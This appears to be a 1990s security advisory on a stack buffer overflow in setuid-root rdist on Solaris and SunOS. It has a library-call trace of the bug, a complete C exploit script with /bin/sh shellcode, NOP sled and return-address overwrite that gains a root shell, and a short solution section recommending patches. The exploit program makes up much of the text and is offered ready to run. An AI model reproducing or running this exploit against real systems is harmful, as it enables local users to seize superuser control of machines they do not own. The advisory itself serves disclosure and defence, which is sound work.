COMMAND
rdist
SYSTEMS AFFECTED
Solaris 2.*
SunOS 4.1.*
Potentially all versions running setuid root.
PROBLEM
rdist creates an error message based on a user provided string,
without checking bounds on the buffer used. This buffer is
on the stack, and can therefore be used to execute arbitrary
instructions.
Local users can obtain superuser privileges.
A program was developed to verify this bug on a SunOS 4.1.3
machine, and succeeded in obtaining a shell running uid 0 from
rdist.
Consider the following command, running as user bin.
# rdist -d TestString -d TestString
rdist: line 1: TestString redefined
distfile: No such file or directory
#
Using libC/Inside, the following trace was obtained:-
-----------------------------------------------------------------------
libC/Inside Shared Library Tracing. V1.0 (Solaris 2.5).
Copyright (C) 1996, Electris Software Limited, All Rights Reserved.
Tracing started Thu May 9 00:04:19 1996
Pid is 18738
Log file is /tmp/Inside.18738
Log file descriptor is 3
uid=2(bin) gid=2(bin) euid=0(root) groups=2(bin),3(sys)
Program is rdist
_start+0x30->atexit(call_fini)
return(0)
_start+0x3c->atexit(_fini)
return(0)
main+0x28->getuid()
return(2)
main+0x38->seteuid(2)
return(0)
main+0x5c->getuid()
return(2)
main+0x64->getpwuid(2)
return((pw_name="bin", pw_passwd="x", pw_uid=2, pw_gid=2, pw_age="", \
pw_comment="", pw_gecos="", pw_dir="/usr/bin", pw_shell=""))
main+0xb0->strcpy(user, "bin")
return("bin")
main+0xc4->strcpy(homedir, "/usr/bin")
return("/usr/bin")
main+0xd4->gethostname(host, 32)
return(0)
(Arg 0 = "legless")
main+0x10c->strcmp("-d", "-Server")
return(17)
define+0x30->strchr("TestString", '=')
return((null))
lookup+0x11c->malloc(16)
return(0x33220)
main+0x10c->strcmp("-d", "-Server")
return(17)
define+0x30->strchr("TestString", '=')
return((null))
lookup+0x88->strcmp("TestString", "TestString")
return(0)
lookup+0xcc->sprintf(0xeffff8a8, "%s redefined", "TestString")
return(20)
(Arg 0 = "TestString redefined")
yyerror+0x1c->fflush(stdout)
return(0)
lookup+0xd4->fprintf(stderr, "rdist: line %d: %s\n", 1, \
"TestString redefined")
return(36)
main+0x444->mktemp("/tmp/rdistXXXXXX")
return("/tmp/rdista004_m")
main+0x4d8->fopen("distfile", "r")
return((null))
main+0x4fc->fopen("Distfile", "r")
return((null))
main+0x560->perror("distfile")
return()
main+0x568->exit(1)
-----------------------------------------------------------------------
At lookup+0xcc, sprintf() copies the string provided to an address
on the stack. rdist does not check the length of this string,
so a large string would overwrite the stack.
Here is a quick bsd/os (should work in freebsd too, I believe)
exploitation script for the rdist buffer overflow vulnerbility.
----------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 256
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main(int argc, char **argv)
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
/* so you dont have to disassemble it, here is the asm code:
start:
jmp endofk0dez
realstart:
popl %esi
leal (%esi), %ebx
movl %ebx, 0x0b(%esi)
xorl %edx, %edx
movl %edx, 7(%esi)
movl %edx, 0x0f(%esi)
movl %edx, 0x14(%esi)
movb %edx, 0x19(%esi)
xorl %eax, %eax
movb $59, %al
leal 0x0b(%esi), %ecx
movl %ecx, %edx
pushl %edx
pushl %ecx
pushl %ebx
pushl %eax
jmp bewm
endofk0dez:
call realstart
.byte '/', 'b', 'i', 'n', '/', 's', 'h'
.byte 1, 1, 1, 1
.byte 2, 2, 2, 2
.byte 3, 3, 3, 3
bewm:
.byte 0x9a, 4, 4, 4, 4, 7, 4
*/
char execshell[] =
"\xeb\x23"
"\x5e"
"\x8d\x1e"
"\x89\x5e\x0b"
"\x31\xd2"
"\x89\x56\x07"
"\x89\x56\x0f"
"\x89\x56\x14"
"\x88\x56\x19"
"\x31\xc0"
"\xb0\x3b"
"\x8d\x4e\x0b"
"\x89\xca"
"\x52"
"\x51"
"\x53"
"\x50"
"\xeb\x18"
"\xe8\xd8\xff\xff\xff"
"/bin/sh"
"\x01\x01\x01\x01"
"\x02\x02\x02\x02"
"\x03\x03\x03\x03"
"\x9a\x04\x04\x04\x04\x07\x04";
int i;
int ofs = DEFAULT_OFFSET;
/* if we have a argument, use it as offset, else use default */
if(argc == 2)
ofs = atoi(argv[1]);
/* print the offset in use */
printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i<strlen(execshell);i++)
*(ptr++) = execshell[i];
/* write the return addresses
**
** return address 4
** ebp 4
** register unsigned n 0
** register char *cp 0
** register struct syment *s 0
**
** total: 8
*/
addr_ptr = (long *)ptr;
for(i=0;i<(8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL);
}
---------------------------------------------------------------------------
SOLUTION
Use a version of rdist that does not require setuid root
privileges.
Obtain a patch from your vendor.